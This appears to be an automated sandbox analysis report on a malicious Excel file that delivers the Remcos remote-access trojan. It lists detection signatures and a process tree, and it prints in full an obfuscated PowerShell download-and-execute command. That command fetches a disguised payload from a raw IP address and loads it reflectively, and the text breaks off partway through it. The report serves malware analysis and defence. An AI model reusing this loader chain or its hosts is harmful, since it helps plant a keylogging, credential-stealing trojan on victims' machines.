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Windows
Analysis Report
Swift tract-20240506_120.xls
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Powershell Download and Execute IEX
Sigma detected: Remcos
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious Excel or Word document
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious Malware Callback Communication
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 1892 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - WINWORD.EXE (PID: 1848 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 2544 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3136 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\goodf lowersandg oodreturn. vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3196 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " ('YRClink = SEGhttp: //'+'91.92 .254.194/' +'imge/new -image_v.j p'+'gSEG; YRCwebClie nt = New-O bject Syst em.Net.Web Client'+'; try { YRC downloaded Data = YRC webClient. DownloadDa ta(YRClink ) } catch { Write-Ho st SEGFail ed To down load data from YRCli nkSEG -For egroundCol or Red; ex i'+'t }; i f (YRCdown loadedData -ne YRCnu ll) { YRCi mageText = [System.T ext.Encodi ng]::UTF8. GetString( YR'+'Cdown loadedData ); YRCstar tFlag = SE G<<BASE64_ START>>SEG ; YRCendFl ag = SEG<< BASE64_END >>SEG; YRC startIndex = YRCimag eText.Inde xO'+'f(YRC startFlag) ; '+'YRCen dIndex = Y RCimageTe' +'xt.Index Of(YRCen'+ 'dFlag); i f (YRCstar tIndex -ge 0 -and YR CendIndex -gt YRCsta rtIndex) { YRCstartI ndex += YR CstartFlag .Length; Y RCbase64Le ngth'+' = YRCendInde x '+'- YRC startIndex ; Y'+'RCba se64Comman d = YRCima geText.Sub string(YRC startIndex , YRCbase6 4Length); YRCcommand Bytes = [S ystem.Conv ert]::From Bas'+'e64' +'String(Y R'+'Cbas'+ 'e64Comman d);'+' YRC loadedAsse mbly = [Sy stem.Refle ction.Asse mbly]::Lo' +'ad(YRCco mmandBytes ); YRCtype = YRCload e'+'dAssem bly.GetTyp e(SEGRunPE .'+'HomeSE G); YRCmet hod = '+'Y RCtype.Get Method(SEG VAISEG).In voke(YRCnu ll, [objec t[]] (SEGt xt.SSERW/2 3099/831.6 5.232.271/ /:ptth'+'S EG , SEGde sativadoSE G , SEGdes ativadoSEG , SEGdesa tivadoSEG, SEGRegAsmS EG,SEGSEG) ) } }Set S criptblock YRClink = SEGhttp:/ /91.92.254 .194/imge/ new'+'-i'+ 'mage_v.jp gSE'+'G; Y RCwebClien t = Ne'+'w -Object Sy stem.Net.W ebClient; try { YRCd ownloadedD a'+'ta = Y RCwebCli'+ 'ent.Downl oadData(YR Cl'+'ink) } catch { Wri'+'te-H ost SEGFai led To dow nload data from YRCl inkSEG '+' -Foregroun dColor Red ; exit }; if (YRCdow nloadedDat a -ne YRCn ull) { Y'+ 'RCim'+'ag eText = [S ystem.Text .Encoding] ::UTF8.Get String(YRC downl'+'oa dedData); YRCstartFl ag = SEG<< BASE64_STA RT>>SEG; Y RCendFlag = SEG<<BAS E64_END>>S EG; YRCsta rtIndex '+ '= YRCimag eText.Inde xOf(YRCsta rtFlag); Y RCend'+'In '+'dex = Y RCimageTex t.IndexOf( YRCendFlag )'+'; if ( YRCstar'+' tIndex -ge 0 -and YR CendIndex -gt YRCsta rtIndex) { YRCstartI ndex += YR CstartFlag .Length; Y RCbase64'+ 'Length = YRCendInde x - YRCsta rtIndex; Y RCbase64Co mmand = YR CimageText .Substr'+' ing(YRCsta rtIndex, Y RCbase64Le ngth); '+' YRCcommand Bytes = [S ystem.Conv ert]::From Base64Stri ng(YRCbase 64Command) ; YRCloade dAssembly = [System. Reflection .Assembly] ::Load(YRC comm'+'and Bytes); YR Ctype = YR CloadedAss embly.GetT ype(SEGRun PE'+'.Home SEG); YRCm ethod = YR Ctype.GetM ethod(SEGV AISEG).Inv oke(Y'+'RC null, [obj ect[]] (SE Gtxt.SSERW /23099/831 .65.232.27